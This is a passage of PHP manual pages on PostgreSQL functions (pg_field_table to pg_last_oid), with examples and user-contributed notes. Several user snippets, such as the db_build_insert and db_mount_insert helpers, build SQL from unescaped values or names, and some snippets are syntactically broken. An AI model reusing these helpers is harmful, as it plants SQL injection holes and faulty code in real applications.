  $item = array();
  for( $i = 0; $i < count( $row ); $i++ )
  {
    $name = pg_field_name( $res, $i );
    $type = pg_field_type( $res, $i );
    $size = pg_field_size( $res, $i );

    $item[$i] = '"'.$name.'" '.$type;

    $qry  =  "
              SELECT    a.atttypmod    AS size,
                        a.attnotnull  AS notnull
              FROM      pg_attribute  AS a,
                        pg_class      AS c
              WHERE     c.relname   = '$table'
              AND       a.attrelid  =  c.oid
              AND       a.attname    =  '$name'
             ";
    $res2  = pg_query( $qry );
    $out  = pg_fetch_object( $res2 );

    if( $out -> size != -1 )
    {
      $item[$i] .= '('.( $out -> size - 4 ).')';
    }
    if( $out -> notnull == 't' )
    $item[$i] .= ' NOT';

    $item[$i] .= ' NULL';

  }
  $create .= implode( ",\n", $item ) ."\n);";

  return $create;
}
alex at linuxNOSPAM dot org dot pe 03-Jul-2002 06:44
How i can extract the struct of a Postgresql Table?

I want to do a dynamic php code, that see the pg table, and print name, type and size of fields


Returns the name or oid of the tables field

  • « pg_field_size
  • pg_field_type_oid »
  • PHP Manual
  • PostgreSQL Functions
  • Returns the name or oid of the tables field

pg_field_table

(PHP 5 >= 5.2.0)

pg_field_table — Returns the name or oid of the tables field

Description

mixed pg_field_table ( resource $result , int $field_number [, bool $oid_only = false ] )

pg_field_table() returns the name of the table that field belongs to, or the table's oid if oid_only is TRUE.

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

field_number

Field number, starting from 0.

oid_only

By default the tables name that field belongs to is returned but if oid_only is set to TRUE, then the oid will instead be returned.

Return Values

On success either the fields table name or oid. Or, FALSE on failure.

Examples

Example #1 Getting table information about a field

<?php
$dbconn = pg_connect("dbname=publisher") or die("Could not connect");

$res = pg_query($dbconn, "SELECT bar FROM foo");

echo pg_field_table($res, 0);
echo pg_field_table($res, 0, true);

$res = pg_query($dbconn, "SELECT version()");
var_dump(pg_field_table($res, 0));
?>

The above example will output something similar to:

foo
14379580

bool(false)

Notes

Note:

Returning the oid is much faster than returning the table name because fetching the table name requires a query to the database system table.

See Also

  • pg_field_name() - Returns the name of a field
  • pg_field_type() - Returns the type name for the corresponding field number

User Contributed Notes

strata_ranger at hotmail dot com 16-May-2009 08:11
pg_field_table is primarily useful for queries that involve joins between multiple tables, e.g:

<?php
$res = pg_query("SELECT table1.foo, table2.bar FROM table1 JOIN table2");
echo pg_field_table($res, 0); // Outputs 'table1'
echo pg_field_table($res, 1); // Outputs 'table2'
?>

However, be aware of a few easy 'gotchas':

1- If your query contains static values in its select-list, pg_field_table() will yield FALSE for those fields (because it was a static value, not one fetched from a table):

<?php
$res = pg_query("SELECT 'foo', bar FROM table");
echo pg_field_table($res, 0); // FALSE
echo pg_field_table($res, 1); // Outputs 'table'
?>

2- If you UNION two queries together from different tables, pg_field_table() will return FALSE for all fields:

<?php
$res = pg_query("(Select foo, bar from table1) UNION (Select foo, bar from table2)");
echo pg_field_table($res, 0); // FALSE
echo pg_field_table($res, 1); // FALSE
?>


Returns the type ID (OID) for the corresponding field number

  • « pg_field_table
  • pg_field_type »
  • PHP Manual
  • PostgreSQL Functions
  • Returns the type ID (OID) for the corresponding field number

pg_field_type_oid

(PHP 5 >= 5.1.0)

pg_field_type_oid — Returns the type ID (OID) for the corresponding field number

Description

int pg_field_type_oid ( resource $result , int $field_number )

pg_field_type_oid() returns an integer containing the OID of the base type of the given field_number in the given PostgreSQL result resource.

You can get more information about the field type by querying PostgreSQL's pg_type system table using the OID obtained with this function. The PostgreSQL format_type() function will convert a type OID into an SQL standard type name.

Note:

If the field uses a PostgreSQL domain (rather than a basic type), it is the OID of the domain's underlying type that is returned, rather than the OID of the domain itself.

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

field_number

Field number, starting from 0.

Return Values

The OID of the field's base type. FALSE is returned on error.

Examples

Example #1 Getting information about fields

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  // Assume 'title' is a varchar type
  $res = pg_query($dbconn, "select title from authors where author = 'Orwell'");

  echo "Title field type OID: ", pg_field_type_oid($res, 0);
?>

The above example will output:

Title field type OID: 1043

See Also

  • pg_field_type() - Returns the type name for the corresponding field number
  • pg_field_prtlen() - Returns the printed length
  • pg_field_name() - Returns the name of a field

User Contributed Notes

mauroi at digbang dot com 24-Mar-2005 04:55
This function can be used to improve the performance of your application.
pg_field_type() makes an internal query to the pg_type table and it can be really slow.
So if your application previously know the oids of your database, you can save the execution time of this query in every request.


Returns the type name for the corresponding field number

  • « pg_field_type_oid
  • pg_flush »
  • PHP Manual
  • PostgreSQL Functions
  • Returns the type name for the corresponding field number

pg_field_type

(PHP 4 >= 4.2.0, PHP 5)

pg_field_type — Returns the type name for the corresponding field number

Description

string pg_field_type ( resource $result , int $field_number )

pg_field_type() returns a string containing the base type name of the given field_number in the given PostgreSQL result resource.

Note:

If the field uses a PostgreSQL domain (rather than a basic type), it is the name of the domain's underlying type that is returned, rather than the name of the domain itself.

Note:

This function used to be called pg_fieldtype().

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

field_number

Field number, starting from 0.

Return Values

A string containing the base name of the field's type, or FALSE on error.

Examples

Example #1 Getting information about fields

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  // Assume 'title' is a varchar type
  $res = pg_query($dbconn, "select title from authors where author = 'Orwell'");

  echo "Title field type: ", pg_field_type($res, 0);
?>

The above example will output:

Title field type: varchar

See Also

  • pg_field_prtlen() - Returns the printed length
  • pg_field_name() - Returns the name of a field
  • pg_field_type_oid() - Returns the type ID (OID) for the corresponding field number

User Contributed Notes

Joshua Burns 02-Mar-2013 07:29
Here is an updated list of nearly every PostgreSQL data type, and PHP's internal C-type equivalent, updated for PostgreSQL 9.2. The first array maps PHP's internal data type to PostgreSQL's equivalents. The second maps PostgreSQL's data-types to PHP's equivalents.

<?php

$php_to_pg = array(
    'bit' => array('bit'),
    'bool' => array('boolean'),
    'box' => array('box'),
    'bpchar' => array('character','char'),
    'bytea' => array('bytea'),
    'cidr' => array('cidr'),
    'circle' => array('circle'),
    'date' => array('date'),
    'daterange' => array('daterange'),
    'float4' => array('real'),
    'float8' => array('double precision'),
    'inet' => array('inet'),
    'int2' => array('smallint', 'smallserial'),
    'int4' => array('integer', 'serial'),
    'int4range' => array('int4range'),
    'int8' => array('bigint', 'bigserial'),
    'int8range' => array('int8range'),
    'interval' => array('interval'),
    'json' => array('json'),
    'lseg' => array('lseg'),
    'macaddr' => array('macaddr'),
    'money' => array('money'),
    'numeric' => array('decimal', 'numeric'),
    'numrange' => array('numrange'),
    'path' => array('path'),
    'point' => array('point'),
    'polygon' => array('polygon'),
    'text' => array('text'),
    'time' => array('time', 'time without time zone'),
    'timestamp' => array('timestamp', 'timestamp without time zone'),
    'timestamptz' => array('timestamp with time zone'),
    'timetz' => array('time with time zone'),
    'tsquery' => array('tsquery'),
    'tsrange' => array('tsrange'),
    'tsvector' => array('tsvector'),
    'uuid' => array('uuid'),
    'varbit' => array('bit varying'),
    'varchar' => array('character varying', 'varchar'),
    'xml' => array('xml'),
);

$pg_to_php = array(
    'bit' => 'bit',
    'boolean' => 'bool',
    'box' => 'box',
    'character' => 'bpchar',
    'char' => 'bpchar',
    'bytea' => 'bytea',
    'cidr' => 'cidr',
    'circle' => 'circle',
    'date' => 'date',
    'daterange' => 'daterange',
    'real' => 'float4',
    'double precision' => 'float8',
    'inet' => 'inet',
    'smallint' => 'int2',
    'smallserial' => 'int2',
    'integer' => 'int4',
    'serial' => 'int4',
    'int4range' => 'int4range',
    'bigint' => 'int8',
    'bigserial' => 'int8',
    'int8range' => 'int8range',
    'interval' => 'interval',
    'json' => 'json',
    'lseg' => 'lseg',
    'macaddr' => 'macaddr',
    'money' => 'money',
    'decimal' => 'numeric',
    'numeric' => 'numeric',
    'numrange' => 'numrange',
    'path' => 'path',
    'point' => 'point',
    'polygon' => 'polygon',
    'text' => 'text',
    'time' => 'time',
    'time without time zone' => 'time',
    'timestamp' => 'timestamp',
    'timestamp without time zone' => 'timestamp',
    'timestamp with time zone' => 'timestamptz',
    'time with time zone' => 'timetz',
    'tsquery' => 'tsquery',
    'tsrange' => 'tsrange',
    'tstzrange' => 'tstzrange',
    'tsvector' => 'tsvector',
    'uuid' => 'uuid',
    'bit varying' => 'varbit',
    'character varying' => 'varchar',
    'varchar' => 'varchar',
    'xml' => 'xml'
);

?>
Anonymous 17-Jan-2010 04:18
Also be aware that postgreSQL array fields will prefix the type name with an underscore (e.g. "_int4" or "_text"), while composite a.k.a. row-type fields will return type "record".
marxarelli 02-Jan-2006 11:34
Because complete documentation is always helpful, here are all the PostgreSQL general purpose types as they are listed in the 8.1 documentation, and each corresponding string returned by pg_field_type().

bigint => int8
bigserial => int8
bit => bit
bit varying => varbit
boolean => bool
box => box
bytea => bytea
character varying => varchar
character => bpchar
cidr => cidr
circle => circle
date => date
double precision => float8
inet => inet
integer => int4
interval => interval
line => line
lseg => lseg
macaddr => macaddr
money => money
numeric => numeric
path => path
point => point
polygon => polygon
real => float4
smallint => int2
serial => int4
text => text
time => time
time with time zone => timetz
timestamp => timestamp
timestamp with time zone => timestamptz

And for the record... (note the 7.4 client lib)
# postmaster --version
postmaster (PostgreSQL) 8.0.4

# ldd libphp4.so
...
libpq.so.3 => /usr/lib/libpq.so.3 (0xb7ac8000)
...
andy at a 2 h d dot com 03-May-2003 09:09
The types returned are:
  bool
  int2 (smallint)
  int4
  int8 (bigint)
  numeric
  float4 (real / float)
  float8 (double)
  timestamp
  date
  time
  varchar
  bpchar (fixed leng string, 'blank padded char')
  inet (ip address)
  money

There are some other more esoteric types, e.g. 'circle', but these are the most common.


Flush outbound query data on the connection

  • « pg_field_type
  • pg_free_result »
  • PHP Manual
  • PostgreSQL Functions
  • Flush outbound query data on the connection

pg_flush

(PHP 5 >= 5.6.0)

pg_flush — Flush outbound query data on the connection

Description

mixed pg_flush ( resource $connection )

pg_flush() flushes any outbound query data waiting to be sent on the connection.

Parameters

connection

PostgreSQL database connection resource.

Return Values

Returns TRUE if the flush was successful or no data was waiting to be flushed, 0 if part of the pending data was flushed but more remains or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Free result memory

  • « pg_flush
  • pg_get_notify »
  • PHP Manual
  • PostgreSQL Functions
  • Free result memory

pg_free_result

(PHP 4 >= 4.2.0, PHP 5)

pg_free_result — Free result memory

Description

bool pg_free_result ( resource $result )

pg_free_result() frees the memory and data associated with the specified PostgreSQL query result resource.

This function need only be called if memory consumption during script execution is a problem. Otherwise, all result memory will be automatically freed when the script ends.

Note:

This function used to be called pg_freeresult().

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pg_free_result() example

<?php
$db = pg_connect("dbname=users user=me") || die();

$res = pg_query($db, "SELECT 1 UNION ALL SELECT 2");

$val = pg_fetch_result($res, 1, 0);

echo "First field in the second row is: ", $val, "\n";

pg_free_result($res);
?>

The above example will output:

First field in the second row is: 2

See Also

  • pg_query() - Execute a query
  • pg_query_params() - Submits a command to the server and waits for the result, with the ability to pass parameters separately from the SQL command text.
  • pg_execute() - Sends a request to execute a prepared statement with given parameters, and waits for the result.

User Contributed Notes

Stefan W 30-Aug-2013 09:12
You do NOT need to call pg_free_result() on every result resource you create.
When result resources go out of scope, they are garbage collected just like everything else.
Unless you're hoarding your results somewhere, you can basically ignore this function.

Here's a little test you can run to confirm this: http://pastebin.com/ghw1PHuE


Gets SQL NOTIFY message

  • « pg_free_result
  • pg_get_pid »
  • PHP Manual
  • PostgreSQL Functions
  • Gets SQL NOTIFY message

pg_get_notify

(PHP 4 >= 4.3.0, PHP 5)

pg_get_notify — Gets SQL NOTIFY message

Description

array pg_get_notify ( resource $connection [, int $result_type ] )

pg_get_notify() gets notifications generated by a NOTIFY SQL command. To receive notifications, the LISTEN SQL command must be issued.

Parameters

connection

PostgreSQL database connection resource.

result_type

An optional parameter that controls how the returned array is indexed. result_type is a constant and can take the following values: PGSQL_ASSOC, PGSQL_NUM and PGSQL_BOTH. Using PGSQL_NUM, pg_get_notify() will return an array with numerical indices, using PGSQL_ASSOC it will return only associative indices while PGSQL_BOTH, the default, will return both numerical and associative indices.

Return Values

An array containing the NOTIFY message name and backend PID. Otherwise if no NOTIFY is waiting, then FALSE is returned.

Examples

Example #1 PostgreSQL NOTIFY message

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
  echo "An error occurred.\n";
  exit;
}

// Listen 'author_updated' message from other processes
pg_query($conn, 'LISTEN author_updated;');
$notify = pg_get_notify($conn);
if (!$notify) {
  echo "No messages\n";
} else {
  print_r($notify);
}
?>

See Also

  • pg_get_pid() - Gets the backend's process ID

User Contributed Notes

There are no user contributed notes for this page.


Gets the backend's process ID

  • « pg_get_notify
  • pg_get_result »
  • PHP Manual
  • PostgreSQL Functions
  • Gets the backend's process ID

pg_get_pid

(PHP 4 >= 4.3.0, PHP 5)

pg_get_pid — Gets the backend's process ID

Description

int pg_get_pid ( resource $connection )

pg_get_pid() gets the backend's (database server process) PID. The PID is useful to determine whether or not a NOTIFY message received via pg_get_notify() is sent from another process or not.

Parameters

connection

PostgreSQL database connection resource.

Return Values

The backend database process ID.

Examples

Example #1 PostgreSQL backend PID

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
  echo "An error occurred.\n";
  exit;
}

// Backend process PID. Use PID with pg_get_notify()
$pid = pg_get_pid($conn);
?>

See Also

  • pg_get_notify() - Gets SQL NOTIFY message

User Contributed Notes

There are no user contributed notes for this page.


Get asynchronous query result

  • « pg_get_pid
  • pg_host »
  • PHP Manual
  • PostgreSQL Functions
  • Get asynchronous query result

pg_get_result

(PHP 4 >= 4.2.0, PHP 5)

pg_get_result — Get asynchronous query result

Description

resource pg_get_result ([ resource $connection ] )

pg_get_result() gets the result resource from an asynchronous query executed by pg_send_query(), pg_send_query_params() or pg_send_execute().

pg_send_query() and the other asynchronous query functions can send multiple queries to a PostgreSQL server and pg_get_result() is used to get each query's results, one by one.

Parameters

connection

PostgreSQL database connection resource.

Return Values

The result resource, or FALSE if no more results are available.

Examples

Example #1 pg_get_result() example

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  if (!pg_connection_busy($dbconn)) {
      pg_send_query($dbconn, "select * from authors; select count(*) from authors;");
  }

  $res1 = pg_get_result($dbconn);
  echo "First call to pg_get_result(): $res1\n";
  $rows1 = pg_num_rows($res1);
  echo "$res1 has $rows1 records\n\n";

  $res2 = pg_get_result($dbconn);
  echo "Second call to pg_get_result(): $res2\n";
  $rows2 = pg_num_rows($res2);
  echo "$res2 has $rows2 records\n";
?>

The above example will output:

First call to pg_get_result(): Resource id #3
Resource id #3 has 3 records

Second call to pg_get_result(): Resource id #4
Resource id #4 has 1 records

See Also

  • pg_send_query() - Sends asynchronous query

User Contributed Notes

gullevek at gullevek dot org 10-Oct-2013 03:28
To have a a simple wait output with async queries you can use the pg_connection_busy command:

<?php
$dbh = pg_connect("host=XXX user=XXX password=XXX dbname=XXX");
if (!$dbh)
{
    print "Failed to connect";
    exit;
}

$query = "SELECT pg_sleep(10)";
if (!pg_connection_busy($dbh))
{
    $sent = pg_send_query($dbh, $query);
    print "Sent query, waiting: ";
    while (pg_connection_busy($dbh)
    {
        print ".";
        flush();
    }
    $res = pg_get_result($dbh);
    print "<br>"; // or \n
    print "Result is: $res";
}

pg_close($dbh);
?>
Marko Tiikkaja 26-Oct-2008 02:14
william at 25thandClement dot com said: "There is no way to poll/wait for a notification to come in. .."
Yes, there is. If there is a query in progress, pg_get_result() will block and return the result of that query when it's complete.
william at 25thandClement dot com 28-Jan-2005 12:03
There is no way to poll/wait for a notification to come in. You either have to enter a busy loop or sleep. Both options are horrible. It would be nice for PHP to provide access to PQsocket so one could select() on the socket connection. This is how it's done from C or Perl.


Returns the host name associated with the connection

  • « pg_get_result
  • pg_insert »
  • PHP Manual
  • PostgreSQL Functions
  • Returns the host name associated with the connection

pg_host

(PHP 4, PHP 5)

pg_host — Returns the host name associated with the connection

Description

string pg_host ([ resource $connection ] )

pg_host() returns the host name of the given PostgreSQL connection resource is connected to.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Return Values

A string containing the name of the host the connection is to, or FALSE on error.

Examples

Example #1 pg_host() example

<?php
$pgsql_conn = pg_connect("dbname=mark host=localhost");

if ($pgsql_conn) {
   print "Successfully connected to: " . pg_host($pgsql_conn) . "<br/>\n";
} else {
   print pg_last_error($pgsql_conn);
   exit;
}
?>

See Also

  • pg_connect() - Open a PostgreSQL connection
  • pg_pconnect() - Open a persistent PostgreSQL connection

User Contributed Notes

mark at redbrick dot dcu dot ie 24-Mar-2003 03:21
This is a simple example of this function, which returns the name of which PostreSQL Database you are currently connected to.

<?php
    $pgsql_conn = pg_connect("dbname=mark host=localhost");

    if ($pgsql_conn) {
        print "Successfully connected to: " . pg_host($pgsql_conn) . "<br/>\n";
    } else {
        print pg_last_error($pgsql_conn);
        exit;
    }
?>

This function is extremely useful for sites which connect to multiple Postgresql services.

Regards,  --mark


Insert array into table

  • « pg_host
  • pg_last_error »
  • PHP Manual
  • PostgreSQL Functions
  • Insert array into table

pg_insert

(PHP 4 >= 4.3.0, PHP 5)

pg_insert — Insert array into table

Description

mixed pg_insert ( resource $connection , string $table_name , array $assoc_array [, int $options = PGSQL_DML_EXEC ] )

pg_insert() inserts the values of assoc_array into the table specified by table_name. If options is specified, pg_convert() is applied to assoc_array with the specified options.

Parameters

connection

PostgreSQL database connection resource.

table_name

Name of the table into which to insert rows. The table table_name must at least have as many columns as assoc_array has elements.

assoc_array

An array whose keys are field names in the table table_name, and whose values are the values of those fields that are to be inserted.

options

Any number of PGSQL_CONV_OPTS, PGSQL_DML_NO_CONV, PGSQL_DML_ESCAPE, PGSQL_DML_EXEC, PGSQL_DML_ASYNC or PGSQL_DML_STRING combined. If PGSQL_DML_STRING is part of the options then query string is returned. When PGSQL_DML_NO_CONV or PGSQL_DML_ESCAPE is set, it does not call pg_convert() internally.

Return Values

Returns TRUE on success or FALSE on failure. Returns string if PGSQL_DML_STRING is passed via options.

Examples

Example #1 pg_insert() example

<?php
  $dbconn = pg_connect('dbname=foo');
  // This is safe, since $_POST is converted automatically
  $res = pg_insert($dbconn, 'post_log', $_POST);
  if ($res) {
      echo "POST data is successfully logged\n";
  } else {
      echo "User must have sent wrong inputs\n";
  }
?>

Changelog

Version | Description
5.6.0 | No longer experimental. Added PGSQL_DML_ESCAPE constant, TRUE/FALSE and NULL data type support.
5.5.3/5.4.19 | Direct SQL injection to table_name and Indirect SQL injection to identifiers are fixed.

See Also

  • pg_convert() - Convert associative array values into suitable for SQL statement

User Contributed Notes

phpuser at ego dot gen dot nz 16-Dec-2011 06:12
This function cannot be used to insert a record with only default values - i.e. with an assoc_array of array()
Anonymous 14-Oct-2008 03:06
it seems to fail silently if you try to insert somehting with a mis-named column
jsnell at e-normous dot com 27-Sep-2007 09:49
If you need schema support, this function will do something similar to pg_insert:

function pg_insert_with_schema($connection, $table, $updates)
{
 $schema = 'public';
 if (strpos($table, '.') !== false)
    list($schema, $table) = explode('.', $table);

    if (count($updates) == 0) {
        $sql = "INSERT INTO $schema.\"$table\" DEFAULT VALUES";
            return pg_query($sql);
        } else {
 $sql = "INSERT INTO $schema.\"$table\" ";

 $sql .= '("';
 $sql .= join('", "', array_keys($updates));
 $sql .= '")';

 $sql .= ' values (';
 for($i = 0; $i < count($updates); $i++)
   $sql .= ($i != 0? ', ':'').'$'.($i+1);
 $sql .= ')';
 return pg_query_params($connection, $sql, array_values($updates));
 }
}
excalibur at nospam dot icehouse dot net 17-Oct-2006 05:06
Today at work I isolated a problem I was having with this function to how I was formatting the date.  I was assigning the date in my code as follows:

$today = date( "Ymd" ); // ISO 8601

This format is acceptable to PostgreSQL, as verified by their documentation and buy tests using psql.  However, to make it work in my code, I had to make the following change:

$today = date( "Y-m-d" ); // also ISO 8601 format
ANDYCHR17 at HOTMAIL dot COM 05-May-2006 11:50
Had a few issues while trying to run this in PHP 4.4.0:

- I could not get it to work with column names that are SQL reserved words (example: desc, order). I was forced to change the column names in order to use the function. I could not put the column names in quotes, because that caused pg_convert() to fail.

- Function was returning false until I passed the PGSQL_DML_EXEC option.
skippy at zuavra dot net 14-Feb-2005 04:08
Beware of the following: pg_insert() and pg_update() are adding slashes to all character-like fields they work with. This makes them SQL injection super-safe, but there are unwanted consequences, as follows:

If you have a regular setup with magic_quotes_gcp=On, and you use pg_insert() or pg_update(), you will end up with fields that look as if you used addslashes() twice. To solve this, you can use stripslashes() on the data just before using it with pg_insert() or pg_update().

There's another alternative, which seems better to me. Why make yourself crazy all over the code, adding slashes, stripping slashes, worrying whether magic_quotes_gpc is on or off and so on and so forth? Why do this, when the only place you actually need those slashes is right when you push the data into the database?

So why not get rid of your addslashes() and stripslashes() from all over your code, and turn magic_quotes_gcp off. As long as you always use pg_insert() and pg_update() to do your DB work, you're SQL-injection safe AND slash-headache free.
mina86 at tlen dot pl 24-May-2004 03:24
Next version :) My version checks whether value is bool, null, string or numeric and if one of the values is not function returns false if not. null values are inserted as NULL, bool as true or false and strings are add-shlashed before adding to query string. Note, that this function is not safe. SQL injection is possible with column names if you use $_POST or something similar as a $array.

<?php
function db_build_insert($table, $array) {
  if (count($array)===0) return false;
  $columns = array_keys($array);
  $values = array_values($array);
  unset($array);

  for ($i = 0, $c = count($values); $i$c; ++$i) {
    if (is_bool($values[$i])) {
      $values[$i] = $values[$i]?'true':'false';
    } elseif (is_null($values[$i])) {
      $values[$i] = 'NULL';
    } elseif (is_string($values[$i])) {
      $values[$i] = "'" . addslashes($values[$i]) . "'";
    } elseif (!is_numeric($values[$i])) {
      return false;
    }
  }

  return "INSERT INTO $table ($column_quote" . implode(', ', $columns) .
    ") VALUES (" . implode(', ', $values) . ")";
}
?>
shane at treesandthings dot com 22-Jan-2004 05:04
Returns SQL statement, slight improvement on the code from 'rorezende at hotmail dot com'.  This version adds bool values correctly.It also checks to make sure there is actually a value in the array before including it in the sql statement. (ie: null values or empty strings won't be added to the sql statement)

<?PHP
function db_build_insert($table,$array)
{

   $str = "insert into $table ";
   $strn = "(";
   $strv = " VALUES (";
   while(list($name,$value) = each($array)) {

       if(is_bool($value)) {
                $strn .= "$name,";
                $strv .= ($value ? "true":"false") . ",";
                continue;
        };

       if(is_string($value)) {
                $strn .= "$name,";
                $strv .= "'$value',";
                continue;
        }
       if (!is_null($value) and ($value != "")) {
                $strn .= "$name,";
                $strv .= "$value,";
                continue;
       }
   }
   $strn[strlen($strn)-1] = ')';
   $strv[strlen($strv)-1] = ')';
   $str .= $strn . $strv;
   return $str;

}
?>
rorezende at hotmail dot com 16-Jul-2003 08:49
Time is money, then I write a function similar to pg_insert in PHP (only output sql statement) :

   function db_mount_insert($table,$array) {

    $str = "insert into $table (";
    while(list($name,$value) = each($array)) {
        $str .= "$name,";
    }
    $str[strlen($str)-1] = ')';
    $str .= " values (";
    reset($array);
    while(list($name,$value) = each($array)) {
        if(is_string($value))
            $str .= "'$value',";
        else
            $str .= "$value,";
    }
    $str[strlen($str)-1] = ')';
    $str .= ";"    ;

    return $str;

   }


Get the last error message string of a connection

  • « pg_insert
  • pg_last_notice »
  • PHP Manual
  • PostgreSQL Functions
  • Get the last error message string of a connection

pg_last_error

(PHP 4 >= 4.2.0, PHP 5)

pg_last_error — Get the last error message string of a connection

Description

string pg_last_error ([ resource $connection ] )

pg_last_error() returns the last error message for a given connection.

Error messages may be overwritten by internal PostgreSQL (libpq) function calls. It may not return an appropriate error message if multiple errors occur inside a PostgreSQL module function.

Use pg_result_error(), pg_result_error_field(),
pg_result_status() and
pg_connection_status() for better error handling.

Note:

This function used to be called pg_errormessage().

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Return Values

A string containing the last error message on the given connection, or FALSE on error.

Examples

Example #1 pg_last_error() example

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  // Query that fails
  $res = pg_query($dbconn, "select * from doesnotexist");

  echo pg_last_error($dbconn);
?>

See Also

  • pg_result_error() - Get error message associated with result
  • pg_result_error_field() - Returns an individual field of an error report.

User Contributed Notes

Tamas Bolner 27-Aug-2010 07:48
From a practical view there are two types of error messages when using transactions:

-"Normal" errors: in this case, the application should stop the current process and show an error message to the user.

-Deadlock errors. This shows that the deadlock detection process of PostgreSQL found a circle of dependency, and broke it by rolling back the transaction in one of the processes, which gets this error msg. In this case, the application should not stop, but repeat the transaction.

I found no discrete way to find out which case are we dealing with. This interface doesn't support error codes, so we have to search for patterns in the message text.

Here is an example for PostgreSQL database connection class. It throws a PostgresException on "normal" errors, and DependencyException in the case of a broken deadlock, when we have to repeat the transaction.

postgres.php:
<?php
class PostgresException extends Exception {
    function __construct($msg) { parent::__construct($msg); }
}

class DependencyException extends PostgresException {
    function __construct() { parent::__construct("deadlock"); }
}

class pg {
    public static $connection;

    private static function connect() {
        self::$connection = @pg_connect("dbname=foodb user=foouser password=foopasswd");
        if (self::$connection === FALSE) {
            throw(new PostgresException("Can't connect to database server."));
        }
    }

    public static function query($sql) {
        if (!isset(self::$connection)) {
            self::connect();
        }

        $result = @pg_query(self::$connection, $sql);
        if ($result === FALSE) {
            $error = pg_last_error(self::$connection);
            if (stripos($error, "deadlock detected") !== false) throw(new DependencyException());

            throw(new PostgresException($error.": ".$sql));
        }

        $out = array();
        while ( ($d = pg_fetch_assoc($result)) !== FALSE) {
            $out[] = $d;
        }

        return $out;
    }
}
?>

It should be used in this way:

test.php:
<?php
include("postgres.php");

do {
    $repeat = false;
    try {
        pg::query("begin");

        ...

        $result = pg::query("SELECT * FROM public.kitten");

        ...

        pg::query("commit");
    }
    catch (DependencyException $e) {
        pg::query("rollback");
        $repeat = true;
    }
} while ($repeat);
?>

The normal errors should be caught at the frontend.

Tamas


Returns the last notice message from PostgreSQL server

  • « pg_last_error
  • pg_last_oid »
  • PHP Manual
  • PostgreSQL Functions
  • Returns the last notice message from PostgreSQL server

pg_last_notice

(PHP 4 >= 4.0.6, PHP 5)

pg_last_notice — Returns the last notice message from PostgreSQL server

Description

string pg_last_notice ( resource $connection )

pg_last_notice() returns the last notice message from the PostgreSQL server on the specified connection. The PostgreSQL server sends notice messages in several cases, for instance when creating a SERIAL column in a table.

With pg_last_notice(), you can avoid issuing useless queries by checking whether or not the notice is related to your transaction.

Notice message tracking can be set to optional by setting 1 for pgsql.ignore_notice in php.ini.

Notice message logging can be set to optional by setting 0 for pgsql.log_notice in php.ini. Unless pgsql.ignore_notice is set to 0, notice message cannot be logged.

Parameters

connection

PostgreSQL database connection resource.

Return Values

A string containing the last notice on the given connection, or FALSE on error.

Examples

Example #1 pg_last_notice() example

<?php
  $pgsql_conn = pg_connect("dbname=mark host=localhost");

  $res = pg_query("CREATE TABLE test (id SERIAL)");

  $notice = pg_last_notice($pgsql_conn);

  echo $notice;
?>

The above example will output:

CREATE TABLE will create implicit sequence "test_id_seq" for "serial" column "test.id"

See Also

  • pg_query() - Execute a query
  • pg_last_error() - Get the last error message string of a connection

User Contributed Notes

There are no user contributed notes for this page.


Returns the last row's OID

  • « pg_last_notice
  • pg_lo_close »
  • PHP Manual
  • PostgreSQL Functions
  • Returns the last row's OID

pg_last_oid

(PHP 4 >= 4.2.0, PHP 5)

pg_last_oid — Returns the last row's OID

Description

string pg_last_oid ( resource $result )

pg_last_oid() is used to retrieve the OID assigned to an inserted row.

OID field became an optional field from PostgreSQL 7.2 and will not be present by default in PostgreSQL 8.1. When the OID field is not present in a table, the programmer must use pg_result_status() to check for successful insertion.

To get the value of a SERIAL field in an inserted row, it is necessary to use the PostgreSQL CURRVAL function, naming the sequence whose last value is required. If the name of the sequence is unknown, the pg_get_serial_sequence PostgreSQL 8.0 function is necessary.

PostgreSQL 8.1 has a function LASTVAL that returns the value of the most recently used sequence in the session. This avoids the need for naming the sequence, table or column altogether.

Note:

This function used to be called pg_getlastoid().

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

Return Values

A string containing the OID assigned to the most recently inserted row in the specified connection, or FALSE on error or no available OID.

Examples

Example #1 pg_last_oid() example

<?php
  $pgsql_conn = pg_connect("dbname=mark host=localhost");

  $res1 = pg_query("CREATE TABLE test (a INTEGER) WITH OIDS");

  $res2 = pg_query("INSERT INTO test VALUES (1)");

  $oid = pg_last_oid($res2);
?>

See Also

  • pg_query() - Execute a query
  • pg_result_status() - Get status of query result

User Contributed Notes

qeremy [atta] gmail [dotta] com 27-Jul-2012 11:11
Simply getting LAST_INSERT_ID;

<?php
// Note: waiting for "select" part from pg_query below.
// Note: separating the query parts using semicolons (;).

$qry = pg_query("
    INSERT INTO users (id,uname,upass,rep) VALUES (DEFAULT,'bubu','a981v',0.19);
    SELECT Currval('users_id_seq') LIMIT 1
");

// or
$qry = pg_query("
    INSERT INTO users (id,uname,upass,rep) VALUES (DEFAULT,'bubu','a981v',0.19) RETURNING Currval('users_id_seq')");

$fch = pg_fetch_row($qry);
print_r($fch);
?>

Array
(
    [0] => 3 -> Gotcha!
)
Jonathan Bond-Caron 30-May-2005 05:21
I'm sharing an elegant solution I found on the web (Vadim Passynkov):

CREATE RULE get_pkey_on_insert AS ON INSERT TO Customers DO SELECT currval('customers_customers_id_seq') AS id;

Every time you insert to the Customers table, postgreSQL will return a table with the id you just inserted. No need to worry about concurrency, the ressource is locked when the rule gets executed.

Note that in cases of multiple inserts:
